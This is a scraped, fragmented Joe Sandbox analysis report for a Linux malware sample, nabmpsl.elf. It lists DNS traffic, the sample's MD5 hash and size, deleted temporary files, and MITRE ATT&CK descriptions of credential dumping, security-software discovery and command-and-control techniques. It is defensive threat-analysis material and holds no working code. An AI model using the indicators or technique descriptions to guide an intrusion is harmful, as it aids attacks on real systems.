Dec 24, 2024 03:59:25.956377983 CET	53	53896	168.235.111.72	192.168.2.15
Dec 24, 2024 03:59:38.186706066 CET	58758	53	192.168.2.15	81.169.136.222
Dec 24, 2024 03:59:38.425230026 CET	53	58758	81.169.136.222	192.168.2.15
Dec 24, 2024 03:59:39.935332060 CET	38973	53	192.168.2.15	194.36.144.87
Dec 24, 2024 03:59:40.182374954 CET	53	38973	194.36.144.87	192.168.2.15

Start time (UTC):	02:57:44
Start date (UTC):	24/12/2024
Path:	/tmp/nabmpsl.elf
Arguments:	/tmp/nabmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0bxQaB (deleted)

/tmp/qemu-open.15QA4x (deleted)

/tmp/qemu-open.15iTBA (deleted)

/tmp/qemu-open.2cEdTz (deleted)

/tmp/qemu-open.4pR3qA (deleted)

/tmp/qemu-open.58xrWy (deleted)

/tmp/qemu-open.5lMaJA (deleted)

/tmp/qemu-open.6N7Cxz (deleted)

/tmp/qemu-open.9cjPjz (deleted)

/tmp/qemu-open.A9pjoz (deleted)

/tmp/qemu-open.BGS0Nx (deleted)

/tmp/qemu-open.C1f7hx (deleted)

/tmp/qemu-open.CZ1p6A (deleted)

/tmp/qemu-open.DegWZw (deleted)

/tmp/qemu-open.EF8yuy (deleted)

/tmp/qemu-open.EcelLA (deleted)

/tmp/qemu-open.FXWoSz (deleted)

/tmp/qemu-open.FYmBNA (deleted)

/tmp/qemu-open.Fio28z (deleted)

/tmp/qemu-open.GWJogz (deleted)

/tmp/qemu-open.GcH02x (deleted)

/tmp/qemu-open.HKM6Tw (deleted)

/tmp/qemu-open.Ht5six (deleted)

/tmp/qemu-open.IWYofz (deleted)

/tmp/qemu-open.Iejyhz (deleted)

/tmp/qemu-open.JH198A (deleted)

/tmp/qemu-open.JjmZTz (deleted)

/tmp/qemu-open.KiIQWz (deleted)

/tmp/qemu-open.LCa2ux (deleted)

/tmp/qemu-open.La5qax (deleted)

/tmp/qemu-open.M2utaz (deleted)

/tmp/qemu-open.MNY23y (deleted)

/tmp/qemu-open.N8czTx (deleted)

Linux Analysis Report
nabmpsl.elf

Start time (UTC):	02:57:45
Start date (UTC):	24/12/2024
Path:	/tmp/nabmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	02:57:46
Start date (UTC):	24/12/2024
Path:	/tmp/nabmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre